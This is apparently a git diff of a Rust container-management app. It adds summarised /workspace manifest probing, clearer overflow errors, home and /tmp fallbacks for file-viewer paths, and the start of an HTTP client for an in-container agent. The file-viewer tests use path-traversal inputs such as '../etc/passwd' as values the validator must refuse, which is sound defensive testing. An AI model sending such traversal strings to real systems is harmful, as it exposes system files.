+/// The one case worth naming is the output ceiling: what reached the banner was
+/// "OUTPUT_LIMIT: Command output exceeded 8388608 bytes and was abandoned",
+/// true of a buffer and no help about a container. Same idea as
+/// `file_commands::describe_listing_failure`.
+pub fn describe_manifest_failure(error: String) -> String {
+    if error.starts_with(super::exec::OUTPUT_LIMIT_MARKER) {
+        return format!(
+            "This container has too many files for Triple-C to inspect for an update (its \
+             file listing passed {} MiB). The usual cause is a very large tree installed \
+             under /usr/local, /opt, /srv, /var/lib, /var/www or /etc, or a huge number of \
+             files directly in a top-level /workspace folder. Removing it, or moving it \
+             into a mounted project folder, will let the check run.",
+            MANIFEST_OUTPUT_LIMIT / (1024 * 1024)
+        );
+    }
+    error
 }
 
 /// Capture a [`Manifest`] from a *running* container.
@@ -1071,20 +1285,23 @@ pub async fn manifest_from_image(image: &str) -> Result<Manifest, String> {
 /// installed since the last commit, and a verbatim set computed from a stale
 /// manifest would silently fail to carry that work across.
 pub async fn manifest_from_container(container_id: &str) -> Result<Manifest, String> {
-    let (out, code) = super::exec::exec_oneshot_as(
+    let (out, code) = super::exec::exec_oneshot_limited(
         container_id,
         "root",
         vec!["/bin/sh".to_string(), "-c".to_string(), manifest_script()],
-        Vec::new(),
+        MANIFEST_OUTPUT_LIMIT,
     )
-    .await?;
+    .await
+    .map_err(describe_manifest_failure)?;
     if !out.contains("###END") {
         return Err(format!(
             "Probe of the running container did not complete (exit {})",
             code
         ));
     }
-    Ok(parse_manifest(&out))
+    let m = parse_manifest(&out);
+    check_manifest_complete(&m)?;
+    Ok(m)
 }
 
 /// Cached stopped-container manifests, keyed by container id, each paired with
@@ -2220,6 +2437,308 @@ mod tests {
         assert_eq!(shell_single_quote("/opt/a'b"), r#"'/opt/a'\''b'"#);
     }
 
+    // ── /workspace summarisation (the 8 MiB overflow) ───────────────────────
+
+
+    #[test]
+    fn a_summary_carries_its_own_size_and_is_not_a_directory() {
+        let raw = "###PATHS\n\
+                   d\t4096\t/workspace/wt\n\
+                   f\t10\t/workspace/wt/README.md\n\
+                   S\t123456\t/workspace/wt/node_modules\n\
+                   ###SUMMARISED-OK\n\
+                   ###DPKG\n\
+                   ###END\n";
+        let m = parse_manifest(raw);
+        assert_eq!(m.paths.len(), 3);
+        let s = &m.paths[2];
+        assert!(s.is_summary());
+        assert!(!s.is_dir(), "a summary stands for content, not an empty directory");
+        assert_eq!(s.size, 123456);
+        assert!(check_manifest_complete(&m).is_ok());
+    }
+
+    #[test]
+    fn a_manifest_whose_summarised_walk_did_not_finish_is_refused() {
+        // If the aggregating `awk` is missing or dies, the /workspace walk is
+        // simply absent. Read as "nothing there", the migration would destroy
+        // the user's top-level /workspace folders — so it is an error instead.
+        let raw = "###PATHS\nd\t4096\t/opt\n###DPKG\n###END\n";
+        let m = parse_manifest(raw);
+        let err = check_manifest_complete(&m).unwrap_err();
+        assert!(err.contains("/workspace"), "{}", err);
+    }
+
+    #[test]
+    fn a_summarised_subtree_is_copied_whole_and_counted_in_the_payload() {
+        // `/workspace/node_modules` holds nothing at its own level but deeper
+        // summaries: it must not look like an empty tree and be dropped.
+        let from = manifest(
+            &[
+                ('d', 4096, "/workspace/node_modules"),
+                ('S', 50_000, "/workspace/node_modules/typescript"),
+                ('S', 7_000, "/workspace/node_modules/.bin"),
+                ('d', 4096, "/workspace/wt"),
+                ('f', 10, "/workspace/wt/README.md"),
+                ('S', 1_000, "/workspace/wt/src"),
+            ],
+            &[],
+            &[],
+        );
+        let verbatim = compute_verbatim_paths(&from, &Manifest::default(), &[]);
+        assert_eq!(
+            verbatim,
+            vec!["/workspace/node_modules".to_string(), "/workspace/wt".to_string()]
+        );
+        assert_eq!(verbatim_payload_bytes(&from, &verbatim), 58_010);
+    }
+
+    #[test]
+    fn a_summary_the_base_also_has_is_still_copied() {
+        // The presence-in-base filter is a per-path judgment, and a summary
+        // hides which paths are inside it. Dropping it would lose the user's
+        // files under any subtree the base happens to ship; copying it is safe
+        // because the restore's `--skip-old-files` never clobbers the base.
+        // (Today's base ships an empty /workspace — the ignored live test
+        // `the_base_ships_nothing_under_a_summarised_root` pins that.)
+        let from = manifest(
+            &[
+                ('d', 4096, "/workspace/tools"),
+                ('S', 900, "/workspace/tools/lib"),
+            ],
+            &[],
+            &[],
+        );
+        let base = manifest(
+            &[
+                ('d', 4096, "/workspace/tools"),
+                ('S', 100, "/workspace/tools/lib"),
+            ],
+            &[],
+            &[],
+        );
+        assert_eq!(
+            compute_verbatim_paths(&from, &base, &[]),
+            vec!["/workspace/tools/lib".to_string()]
+        );
+    }
+
+    #[test]
+    fn the_workspace_is_walked_once_and_never_file_by_file() {
+        let s = manifest_script();
+        assert_eq!(
+            s.matches("find '/workspace'").count(),
+            1,
+            "/workspace must be walked in a single pass:\n{}",
+            s
+        );
+        assert!(!s.contains("'/workspace' '/var/lib'"), "flat walk is back:\n{}", s);
+        assert!(!s.contains("du "), "sizes come from the same pass, not du:\n{}", s);
+        assert!(s.contains("###SUMMARISED-OK"));
+    }
+
+    #[test]
+    fn a_walk_of_no_roots_is_no_walk_at_all() {
+        // `find -xdev …` with no starting point walks `.`, which is `/` in a
+        // probe container — the whole filesystem, into the manifest.
+        assert_eq!(plain_walk(&[]), "");
+        assert!(plain_walk(&["/opt"]).starts_with("find '/opt' -xdev"));
+    }
+
+    /// Runs the real walk against a scratch tree shaped like the container that
+    /// overflowed, then a section after it, through the real parser.
+    #[cfg(target_os = "linux")]
+    #[test]
+    fn the_summarised_walk_is_small_exact_and_ends_cleanly() {
+        let dir = tempfile::tempdir().unwrap();
+        let root = dir.path().join("workspace");
+        for wt in 0..4 {
+            let nm = root.join(format!("wt{}", wt)).join("node_modules");
+            for pkg in 0..50 {
+                let p = nm.join(format!("pkg{}", pkg)).join("lib");
+                std::fs::create_dir_all(&p).unwrap();
+                for f in 0..10 {
+                    std::fs::write(p.join(format!("f{}.js", f)), b"0123456789").unwrap();
+                }
+            }
+            std::fs::write(root.join(format!("wt{}", wt)).join("README.md"), b"hi").unwrap();
+        }
+        // Second-level directories holding no file at any depth: one empty,
+        // one with only empty subdirectories. Neither is content.
+        std::fs::create_dir_all(root.join("wt0").join("empty")).unwrap();
+        std::fs::create_dir_all(root.join("scaffold").join("a").join("b").join("c")).unwrap();
+        std::fs::write(root.join("loose.txt"), b"x").unwrap();
+        let root_s = root.to_string_lossy().to_string();
+
+        let script = format!(
+            "echo '###PATHS'\n{}\necho '###APT'\necho socat\necho '###END'\n",
+            summarised_walk(&root_s)
+        );
+        let out = std::process::Command::new("/bin/sh")
+            .arg("-c")
+            .arg(&script)
+            .output()
+            .unwrap();
+        let text = String::from_utf8_lossy(&out.stdout).to_string();
+        let m = parse_manifest(&text);
+
+        // 2,000 files below; one line per first- and second-level entry above.
+        assert!(m.paths.len() < 20, "walk was not summarised: {}", text);
+        // Exactly the old per-file sum: 50 packages × 10 files × 10 bytes.
+        // Directory inode sizes are not content and must not be counted.
+        let nm0 = format!("{}/wt0/node_modules", root_s);
+        let entry = m.paths.iter().find(|e| e.path == nm0).expect("summary present");
+        assert!(entry.is_summary());
+        assert_eq!(entry.size, 5_000, "{:?}", entry);
+        for empty in [format!("{}/wt0/empty", root_s), format!("{}/scaffold/a", root_s)] {
+            let e = m.paths.iter().find(|e| e.path == empty).expect("listed");
+            assert!(e.is_dir(), "a tree with no files is not content: {:?}", e);
+        }
+        assert!(m.paths.iter().any(|e| e.path == format!("{}/loose.txt", root_s)));
+        // The walk terminates its section: the next one still parses.
+        assert_eq!(m.apt_manual, strs(&["socat"]));
+        assert_eq!(m.summarised_roots_complete, 1, "{}", text);
+
+        // And the migration sees the same thing it would have per file.
+        let from = Manifest {
+            paths: m
+                .paths
+                .iter()
+                .map(|e| ManifestEntry {
+                    path: e.path.replacen(&root_s, "/workspace", 1),
+                    ..e.clone()
+                })
+                .collect(),
+            ..Default::default()
+        };
+        let verbatim = compute_verbatim_paths(&from, &Manifest::default(), &[]);
+        assert!(!verbatim.contains(&"/workspace/scaffold".to_string()), "{:?}", verbatim);
+        assert_eq!(
+            verbatim_payload_bytes(&from, &["/workspace/wt0".to_string()]),
+            5_000 + 2
+        );
+    }
+
+    /// Pins the assumption that makes summaries safe to exempt from the
+    /// presence-in-base check: the base ships nothing under a summarised root.
+    /// If a future Dockerfile puts content in /workspace this fails, and
+    /// `compute_verbatim_paths` needs revisiting before it ships.
+    ///
+    /// ```text
+    /// cargo test -- --ignored --nocapture base_ships_nothing
+    /// ```
+    #[tokio::test]
+    #[ignore = "needs a Docker daemon and the base image"]
+    async fn the_base_ships_nothing_under_a_summarised_root() {
+        let image = std::env::var("TRIPLE_C_TEST_IMAGE")
+            .unwrap_or_else(|_| "ghcr.io/shadowdao/triple-c-sandbox:latest".to_string());
+        let m = manifest_from_image(&image).await.expect("base probe");
+        for root in SUMMARISED_ROOTS {
+            let inside: Vec<_> = m
+                .paths
+                .iter()
+                .filter(|e| is_under(&e.path, root) && e.path != *root)
+                .map(|e| e.path.as_str())
+                .collect();
+            assert!(inside.is_empty(), "the base ships {:?} under {}", inside, root);
+        }
+    }
+
+    /// The overflow end to end, against a scratch container off the real base:
+    /// 80k files in a writable-layer `/workspace` tree (past 8 MiB unsummarised)
+    /// beside a bind-mounted project folder.
+    ///
+    /// ```text
+    /// cargo test -- --ignored --nocapture large_workspace
+    /// ```
+    #[cfg(unix)]
+    #[tokio::test]
+    #[ignore = "needs a Docker daemon; creates and removes a throwaway container"]
+    async fn a_large_workspace_is_probed_without_overflowing_and_still_copied() {
+        fn docker_cli(args: &[&str]) -> String {
+            let out = std::process::Command::new("docker")
+                .args(args)
+                .output()
+                .expect("docker CLI");
+            assert!(
+                out.status.success(),
+                "docker {:?} failed: {}",
+                args,
+                String::from_utf8_lossy(&out.stderr)
+            );
+            String::from_utf8_lossy(&out.stdout).trim().to_string()
+        }
+        let image = std::env::var("TRIPLE_C_TEST_IMAGE")
+            .unwrap_or_else(|_| "ghcr.io/shadowdao/triple-c-sandbox:latest".to_string());
+        let host = tempfile::tempdir().unwrap();
+        for i in 0..50 {
+            std::fs::write(host.path().join(format!("host-{}.txt", i)), b"h").unwrap();
+        }
+        let mount = format!("{}:/workspace/proj", host.path().display());
+        let id = docker_cli(&[
+            "run", "-d", "--label", "triple-c.managed=true",
+            "-v", &mount,
+            "--entrypoint", "/bin/sh",
+            &image, "-c", "sleep 300",
+        ]);
+        // 80k files with long names, three levels down: ~9.2 MB as a flat walk.
+        let populate = "for w in 0 1 2 3 4 5 6 7; do for p in $(seq 1 100); do \
+             d=/workspace/worktree-number-$w/node_modules/package-with-a-long-name-$p/lib; \
+             mkdir -p $d; cd $d && seq -f 'module-file-with-a-long-name-%g.js' 1 100 | xargs touch; \
+             done; done; echo x > /workspace/worktree-number-0/README.md; \
+             head -c 4096 /dev/zero > /workspace/worktree-number-0/node_modules/real.js";
+        docker_cli(&["exec", "-u", "root", &id, "sh", "-c", populate]);
+
+        let result = manifest_from_container(&id).await;
+        let _ = std::process::Command::new("docker").args(["rm", "-f", &id]).output();
+
+        let m = result.expect("the probe must not overflow");
+        let ws: Vec<_> = m.paths.iter().filter(|e| is_under(&e.path, "/workspace")).collect();
+        assert!(ws.len() < 100, "/workspace was walked file by file: {} entries", ws.len());
+        assert!(
+            !ws.iter().any(|e| is_under(&e.path, "/workspace/proj") && e.path != "/workspace/proj"),
+            "the walk crossed into the bind mount"
+        );
+        let nm = m
+            .paths
+            .iter()
+            .find(|e| e.path == "/workspace/worktree-number-0/node_modules")
+            .expect("summary entry");
+        // Every file below is empty but `real.js`: the per-file sum, exactly,
+        // with no directory inode sizes in it — computed by the image's `mawk`.
+        assert!(nm.is_summary() && nm.size == 4096, "{:?}", nm);
+        assert_eq!(m.summarised_roots_complete, SUMMARISED_ROOTS.len());
+
+        let excl = bind_mount_exclusions(&[pp("proj")]);
+        let verbatim = compute_verbatim_paths(&m, &Manifest::default(), &excl);
+        let ws_verbatim: Vec<_> =
+            verbatim.iter().filter(|p| is_under(p, "/workspace")).cloned().collect();
+        assert_eq!(
+            ws_verbatim,
+            (0..8).map(|w| format!("/workspace/worktree-number-{}", w)).collect::<Vec<_>>()
+        );
+    }
+
+    #[test]
+    fn an_overflowing_probe_says_what_to_do_rather_than_quoting_a_buffer() {
+        let raw = format!(
+            "{}: Command output exceeded 33554432 bytes and was abandoned",
+            crate::docker::exec::OUTPUT_LIMIT_MARKER
+        );
+        let msg = describe_manifest_failure(raw);
+        assert!(!msg.contains(crate::docker::exec::OUTPUT_LIMIT_MARKER), "{}", msg);
+        assert!(!msg.contains("33554432"), "{}", msg);
+        // Every root still walked file by file, so the advice is never wrong
+        // about where to look.
+        for root in MANIFEST_ROOTS.iter().chain(["/etc"].iter()) {
+            if !SUMMARISED_ROOTS.contains(root) {
+                assert!(msg.contains(root), "message omits {}: {}", root, msg);
+            }
+        }
+        // Anything else passes through untouched.
+        assert_eq!(describe_manifest_failure("boom".into()), "boom");
+    }
+
 
     // ── Stale rollback pins (A5) ─────────────────────────────────────────────
 

app/src-tauri/src/docker/mod.rs

@@ -1,5 +1,6 @@
 pub mod ca_certs;
 pub mod client;
+pub mod events;
 pub mod container;
 pub mod image;
 pub mod exec;
@@ -8,6 +9,9 @@ pub mod legacy_cleanup;
 pub mod migration;
 pub mod stt;
 
+/// The container user `claude`'s home directory, as the image creates it.
+pub(crate) const CONTAINER_HOME: &str = "/home/claude";
+
 #[allow(unused_imports)]
 pub use gateway::*;
 #[allow(unused_imports)]

app/src-tauri/src/file_viewer/poll.rs

@@ -7,7 +7,7 @@
 
 use serde::Serialize;
 
-use crate::docker::exec::exec_oneshot_streams_as;
+use crate::host::ContainerTarget;
 
 #[derive(Clone, Debug, Serialize, PartialEq, Eq)]
 pub struct ViewerPoll {
@@ -40,7 +40,10 @@ pub fn parse_poll_output(code: i64, stdout: &str) -> ViewerPoll {
     ViewerPoll { exists: true, hash, size }
 }
 
-pub async fn poll_file(container_id: &str, container_path: &str) -> Result<ViewerPoll, String> {
+pub async fn poll_file(
+    container: &ContainerTarget,
+    container_path: &str,
+) -> Result<ViewerPoll, String> {
     let cmd = vec![
         "sh".to_string(),
         "-c".to_string(),
@@ -48,8 +51,9 @@ pub async fn poll_file(container_id: &str, container_path: &str) -> Result<Viewe
         "poll".to_string(),
         container_path.to_string(),
     ];
-    let (stdout, stderr, code) =
-        exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
+    let (stdout, stderr, code) = container
+        .exec_oneshot_streams_as("claude", cmd, Vec::new())
+        .await?;
     if code != 0 && code != 4 {
         return Err(format!(
             "Could not check the file: {}",

app/src-tauri/src/file_viewer/resolve.rs

@@ -2,13 +2,16 @@
 //!
 //! Relative paths are the common case (Claude prints project-relative paths). The
 //! terminal exec's cwd is `/workspace`, and each project path is mounted at
-//! `/workspace/<mount_name>`, so those are the roots probed, in that order. The probe
+//! `/workspace/<mount_name>`, so those are the roots probed, in that order.
+//! A relative path none of them has is then tried under `/home/claude` and `/tmp`
+//! ([`fallback_candidate_paths`]); `~/p` is `/home/claude/p`. The probe
 //! is one exec as the container user and prints `realpath -e` of every candidate that
 //! is a regular file: `fetch_container_file` refuses a symlink, so the registry must
 //! hold the resolved path, not the one that was clicked.
 
 use crate::commands::file_commands::validate_container_path;
-use crate::docker::exec::exec_oneshot_streams_as;
+use crate::docker::CONTAINER_HOME;
+use crate::host::ContainerTarget;
 
 pub const MAX_CANDIDATES: usize = 16;
 const MAX_RAW_LEN: usize = 4096;
@@ -36,12 +39,20 @@ pub fn candidate_paths(raw: &str, mount_names: &[String]) -> Result<Vec<String>,
         return Ok(vec![normalised]);
     }
 
-    let rel = collapse(raw.strip_prefix("./").unwrap_or(raw));
-    let rel = rel.trim_start_matches("./");
-    if rel.is_empty() {
-        return Err("The path is empty.".into());
+    // Claude Code prints paths under $HOME as `~/...`. Only the bare `~/` form:
+    // `~user/` names some other account's home and stays an ordinary name.
+    if let Some(rest) = raw.strip_prefix("~/") {
+        let rest = collapse(rest);
+        if rest.is_empty() {
+            return Err("The path is empty.".into());
+        }
+        let p = format!("{}/{}", CONTAINER_HOME, rest);
+        validate_container_path("File", &p)?;
+        return Ok(vec![p]);
     }
 
+    let rel = relative_part(raw).ok_or_else(|| "The path is empty.".to_string())?;
+
     let mut out: Vec<String> = Vec::new();
     let mut push = |candidate: String| {
         if out.len() < MAX_CANDIDATES && !out.contains(&candidate) {
@@ -61,6 +72,36 @@ pub fn candidate_paths(raw: &str, mount_names: &[String]) -> Result<Vec<String>,
     Ok(out)
 }
 
+/// Where a relative path is looked for when no project root has it, in order.
+/// The container user's home, then `/tmp` (drops, pastes and scratch files).
+/// Probed only after [`candidate_paths`] found nothing, so a project file never
+/// turns into a "which one?" chooser because a same-named file sits in `/tmp`.
+const FALLBACK_ROOTS: &[&str] = &[CONTAINER_HOME, "/tmp"];
+
+/// The second tier for a relative path: [`FALLBACK_ROOTS`]`/<p>`. Empty for an
+/// absolute or `~/` path (those name one place already) and for anything
+/// [`candidate_paths`] refuses — it is always called after that succeeded, but
+/// must not be a way around its checks.
+pub fn fallback_candidate_paths(raw: &str) -> Vec<String> {
+    if raw.starts_with('/') || raw.starts_with("~/") || candidate_paths(raw, &[]).is_err() {
+        return Vec::new();
+    }
+    let Some(rel) = relative_part(raw) else { return Vec::new() };
+    FALLBACK_ROOTS
+        .iter()
+        .map(|root| format!("{}/{}", root, rel))
+        .filter(|c| validate_container_path("File", c).is_ok())
+        .take(MAX_CANDIDATES)
+        .collect()
+}
+
+/// `./a//b` → `a/b`; `None` when nothing is left.
+fn relative_part(raw: &str) -> Option<String> {
+    let rel = collapse(raw.strip_prefix("./").unwrap_or(raw));
+    let rel = rel.trim_start_matches("./");
+    (!rel.is_empty()).then(|| rel.to_string())
+}
+
 /// `a//b/./c` → `a/b/c`. Never touches `..` (rejected before this runs).
 fn collapse(path: &str) -> String {
     let absolute = path.starts_with('/');
@@ -90,13 +131,14 @@ pub fn parse_probe_output(stdout: &str) -> Vec<String> {
 }
 
 pub async fn probe_candidates(
-    container_id: &str,
+    container: &ContainerTarget,
     candidates: &[String],
 ) -> Result<Vec<String>, String> {
     let mut cmd: Vec<String> = vec!["sh".into(), "-c".into(), PROBE_SCRIPT.into(), "probe".into()];
     cmd.extend(candidates.iter().cloned());
-    let (stdout, _stderr, _code) =
-        exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
+    let (stdout, _stderr, _code) = container
+        .exec_oneshot_streams_as("claude", cmd, Vec::new())
+        .await?;
     Ok(parse_probe_output(&stdout))
 }
 
@@ -129,6 +171,38 @@ mod tests {
         assert_eq!(c, vec!["/workspace/src/main.rs", "/workspace/api/src/main.rs"]);
     }
 
+    #[test]
+    fn an_absolute_tmp_path_is_accepted_as_is() {
+        // Claude Code's scratchpad: long, and with a segment that starts with `-`.
+        let p = "/tmp/claude-1000/-workspace/5e4ab145-915e-4902-9329-e039e2a07562/scratchpad/notes.md";
+        assert_eq!(candidate_paths(p, &mounts(&["api"])).unwrap(), vec![p]);
+    }
+
+    #[test]
+    fn a_home_relative_path_is_the_container_users_home() {
+        // Claude Code prints paths under $HOME as `~/...`.
+        let c = candidate_paths("~/.claude/plans/plan.md", &mounts(&["api"])).unwrap();
+        assert_eq!(c, vec!["/home/claude/.claude/plans/plan.md"]);
+        assert!(candidate_paths("~/", &[]).is_err());
+        assert!(candidate_paths("~/../etc/passwd", &[]).is_err());
+        // `~user/` is not expanded; it stays an ordinary relative name.
+        assert_eq!(candidate_paths("~bob/x.md", &[]).unwrap(), vec!["/workspace/~bob/x.md"]);
+    }
+
+    #[test]
+    fn a_relative_path_falls_back_to_home_and_tmp() {
+        assert_eq!(
+            fallback_candidate_paths("scratch/notes.md"),
+            vec!["/home/claude/scratch/notes.md", "/tmp/scratch/notes.md"]
+        );
+        assert_eq!(fallback_candidate_paths("./notes.md"), vec!["/home/claude/notes.md", "/tmp/notes.md"]);
+        // Absolute, home-relative and refused paths have no fallbacks.
+        assert!(fallback_candidate_paths("/tmp/notes.md").is_empty());
+        assert!(fallback_candidate_paths("~/notes.md").is_empty());
+        assert!(fallback_candidate_paths("../notes.md").is_empty());
+        assert!(fallback_candidate_paths("").is_empty());
+    }
+
     #[test]
     fn traversal_nul_and_oversize_are_refused() {
         assert!(candidate_paths("../etc/passwd", &[]).is_err());

app/src-tauri/src/file_viewer/write.rs

@@ -11,7 +11,7 @@ use serde::Serialize;
 use sha2::{Digest, Sha256};
 
 use crate::commands::file_commands::clip_container_text;
-use crate::docker::exec::{exec_oneshot_streams_as, ExecSessionManager};
+use crate::host::{ContainerTarget, ExecSessionManager};
 
 /// Spec §4/§5: only untruncated (≤ 1 MiB) text is editable, so nothing larger is saved.
 pub const MAX_WRITE_BYTES: usize = 1024 * 1024;
@@ -172,7 +172,7 @@ fn saved_file(outcome: WriteOutcome, bytes: &[u8]) -> Result<SavedFile, String>
 }
 
 pub async fn write_file(
-    container_id: &str,
+    container: &ContainerTarget,
     exec_manager: &ExecSessionManager,
     target: &str,
     bytes: &[u8],
@@ -181,11 +181,12 @@ pub async fn write_file(
     check_write_input(bytes.len(), base_hash)?;
     let tmp_name = format!("triple-c-viewer-{}", uuid::Uuid::new_v4().simple());
     let tmp_path = exec_manager
-        .write_file_to_container(container_id, &tmp_name, bytes)
+        .write_file_to_container(container, &tmp_name, bytes)
         .await?;
     let cmd = write_command(target, &tmp_path, base_hash);
-    let (stdout, stderr, code) =
-        exec_oneshot_streams_as(container_id, "claude", cmd, Vec::new()).await?;
+    let (stdout, stderr, code) = container
+        .exec_oneshot_streams_as("claude", cmd, Vec::new())
+        .await?;
     saved_file(classify_write(code, &stdout, &stderr), bytes)
 }
 

app/src-tauri/src/host/agent.rs

@@ -0,0 +1,915 @@
+//! The app's side of `triple-c-agent`, the small server that runs inside a
+//! project container and does over HTTP what the Docker variant does through
+//! the Docker API.
+//!
+//! Wire protocol: `docs/superpowers/specs/2026-11-13-triple-c-agent-protocol.md`.
+//! Its "Client mapping" table is what this file implements, one function per
+//! [`ContainerTarget`](super::ContainerTarget) method. The contract is Docker
+//! parity: every function here returns exactly what its `docker/exec.rs`
+//! counterpart returns for the same command, including the shape of one-shot
+//! output (combined in arrival order, or stdout/stderr split), the
+//! `OUTPUT_LIMIT` refusal text, and the path an upload reports.
+//!
+//! The token never leaves this file except as the `Authorization` header:
+//! [`AgentEndpoint`]'s `Debug` redacts it and no error string is built from a
+//! request (reqwest and tungstenite errors name the URL, which carries no
+//! secret, never the headers).
+
+use std::collections::{HashMap, VecDeque};
+use std::io;
+use std::pin::Pin;
+use std::sync::{Mutex, OnceLock};
+use std::task::{Context, Poll};
+use std::time::Duration;
+
+use base64::Engine;
+use bytes::Bytes;
+use futures_util::{SinkExt, StreamExt};
+use serde::Deserialize;
+use tokio::io::AsyncWrite;
+use tokio_tungstenite::tungstenite::client::IntoClientRequest;
+use tokio_tungstenite::tungstenite::http::HeaderValue;
+use crate::host::OUTPUT_LIMIT_MARKER;
+use tokio_tungstenite::tungstenite::Message;
+use tokio_util::sync::PollSender;
+
+use super::{ArchiveStream, AttachedExec, ExecChunk, ExecSpec};
+use crate::docker::exec::{
+    container_join, output_limit_error, parse_user_ids, read_host_file_for_upload, user_ids_cmd,
+    OneshotOutput, EXEC_EXIT_POLLS, EXEC_EXIT_POLL_INTERVAL, HOST_FILE_UPLOAD_MODE,
+    MAX_ONESHOT_OUTPUT, USER_IDS_OUTPUT_LIMIT,
+};
+
+/// Connecting (TCP, and the WebSocket handshake) must not hang a caller on an
+/// agent that is not there. Nothing else has an overall timeout: a one-shot
+/// exec, an attach or an archive download can legitimately run for minutes.
+const CONNECT_TIMEOUT: Duration = Duration::from_secs(5);
+/// `is_running` is a liveness probe; it answers quickly or says "no".
+const HEALTH_TIMEOUT: Duration = Duration::from_secs(3);
+/// Whole-request ceiling for the small calls (detached start, exec status,
+/// resize) and for reading any small body. The agent is not trusted: one that
+/// accepts a connection and then says nothing must not hang the app. One-shot
+/// execs, attach and archive have *no* overall timeout — commands can
+/// legitimately run long and send nothing until they finish, as with Docker.
+#[cfg(not(test))]
+const SMALL_REQUEST_TIMEOUT: Duration = Duration::from_secs(15);
+/// Short in tests, so the hostile-agent tests finish quickly.
+#[cfg(test)]
+const SMALL_REQUEST_TIMEOUT: Duration = Duration::from_secs(1);
+/// Largest WebSocket message either side may send; the agent enforces the same
+/// (its output frames are at most 32 KiB). Stdin is split to fit.
+const WS_MAX_MESSAGE: usize = 1024 * 1024;
+const STDIN_FRAME_MAX: usize = 64 * 1024;
+/// How long an attach waits for the agent's `started` reply after the
+/// handshake. Spawning a process is fast; this only bounds a wedged agent.
+const ATTACH_START_TIMEOUT: Duration = Duration::from_secs(30);
+/// In-flight stdin frames per attach before `poll_write` applies backpressure.
+const STDIN_QUEUE: usize = 64;
+
+/// Where an agent listens and the bearer token it wants.
+///
+/// `base_url` is `http://127.0.0.1:<port>/`: the local end of an SSM
+/// port-forward on AWS, or a published loopback port in the local harness.
+#[derive(Clone, PartialEq, Eq, Hash)]
+pub struct AgentEndpoint {
+    pub base_url: url::Url,
+    token: String,
+}
+
+impl std::fmt::Debug for AgentEndpoint {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("AgentEndpoint")
+            .field("base_url", &self.base_url.as_str())
+            .field("token", &"<redacted>")
+            .finish()
+    }
+}
+
+impl AgentEndpoint {
+    /// An endpoint at `base_url`, which must be a plain `http://` URL with a
+    /// host. A trailing `/` is added so endpoint paths join beneath it.
+    pub fn new(mut base_url: url::Url, token: impl Into<String>) -> Result<Self, String> {
+        if base_url.scheme() != "http" || base_url.host().is_none() {
+            return Err(format!(
+                "An agent endpoint must be an http:// URL with a host, not {}",
+                base_url
+            ));
+        }
+        if !base_url.path().ends_with('/') {
+            let path = format!("{}/", base_url.path());
+            base_url.set_path(&path);
+        }
+        base_url.set_query(None);
+        base_url.set_fragment(None);
+        let token = token.into();
+        // It goes in an HTTP header; refuse anything that cannot, here, once,
+        // rather than failing (or silently degrading) on every request.
+        if token.is_empty() || !token.bytes().all(|b| b.is_ascii_graphic()) {
+            return Err("An agent token must be non-empty printable ASCII with no spaces".to_string());
+        }
+        Ok(Self {
+            base_url,
+            token,
+        })
+    }
+
+    /// The agent on `127.0.0.1:<port>`.
+    pub fn loopback(port: u16, token: impl Into<String>) -> Self {
+        let url = url::Url::parse(&format!("http://127.0.0.1:{}/", port))
+            .expect("a loopback URL always parses");
+        Self::new(url, token).expect("a loopback URL is a valid endpoint")
+    }
+
+    fn url(&self, path: &str) -> url::Url {
+        self.base_url
+            .join(path)
+            .expect("endpoint paths are fixed relative paths")
+    }
+
+    fn ws_url(&self, path: &str) -> url::Url {
+        let mut u = self.url(path);
+        u.set_scheme("ws").expect("http -> ws is a valid scheme change");
+        u
+    }
+
+    fn bearer(&self) -> String {
+        format!("Bearer {}", self.token)
+    }
+
+    /// The `Authorization` header, marked sensitive so it is never logged or
+    /// shown by `Debug` (reqwest/hyper honour the flag).
+    fn auth(&self) -> HeaderValue {
+        let mut v = HeaderValue::from_str(&self.bearer())
+            .unwrap_or_else(|_| HeaderValue::from_static("Bearer invalid-token"));
+        v.set_sensitive(true);
+        v
+    }
+}
+
+// ── HTTP plumbing ────────────────────────────────────────────────────────────
+
+/// One client for every agent: connection pooling is per host, and building a
+/// client per call would redo TLS-less setup for nothing. No proxy — the agent
+/// is always on loopback, and a corporate `HTTP_PROXY` must not capture it.
+fn http() -> &'static reqwest::Client {
+    static CLIENT: OnceLock<reqwest::Client> = OnceLock::new();
+    CLIENT.get_or_init(|| {
+        reqwest::Client::builder()
+            .connect_timeout(CONNECT_TIMEOUT)
+            .no_proxy()
+            // The agent lives inside the container, which is not trusted with
+            // the host: a redirect would let it point this client — running in
+            // the host app — at any other URL. A 3xx is an error (it fails the
+            // `is_success` checks like any other non-2xx).
+            .redirect(reqwest::redirect::Policy::none())
+            .build()
+            .expect("a reqwest client with no TLS config always builds")
+    })
+}
+
+#[derive(Deserialize)]
+struct ErrorBody {
+    error: String,
+}
+
+/// Ceiling on any small JSON body from the agent (errors, exec ids, exec
+/// status). The agent is inside the container, so a body it sends must not be
+/// able to grow host memory without bound; real ones are tens of bytes.
+const SMALL_BODY_CAP: usize = 64 * 1024;
+
+/// Ceiling on error text passed through to the UI.
+const ERROR_TEXT_CAP: usize = 4 * 1024;
+
+/// Parse a small JSON body, reading at most [`SMALL_BODY_CAP`] bytes.
+async fn small_json<T: serde::de::DeserializeOwned>(resp: reqwest::Response) -> Option<T> {
+    let raw = tokio::time::timeout(SMALL_REQUEST_TIMEOUT, read_capped(resp, SMALL_BODY_CAP))
+        .await
+        .ok()?
+        .ok()??;
+    serde_json::from_slice(&raw).ok()
+}
+
+/// The agent's `{"error": …}` text, if the body has one — bounded in both
+/// bytes read and length returned.
+async fn error_text(resp: reqwest::Response) -> Option<String> {
+    let mut e = small_json::<ErrorBody>(resp).await?.error;
+    if e.len() > ERROR_TEXT_CAP {
+        let mut cut = ERROR_TEXT_CAP;
+        while !e.is_char_boundary(cut) {
+            cut -= 1;
+        }
+        e.truncate(cut);
+        e.push('…');
+    }
+    Some(e)
+}
+
+/// `"<context>: <why>"` for a non-success response.
+async fn status_error(context: &str, resp: reqwest::Response) -> String {
+    let status = resp.status();
+    if status == reqwest::StatusCode::UNAUTHORIZED {
+        return format!("{}: the agent rejected the credentials (401)", context);
+    }
+    match error_text(resp).await {
+        Some(e) => format!("{}: {}", context, e),
+        None => format!("{}: agent returned HTTP {}", context, status.as_u16()),
+    }
+}
+
+async fn send(
+    context: &str,
+    req: reqwest::RequestBuilder,
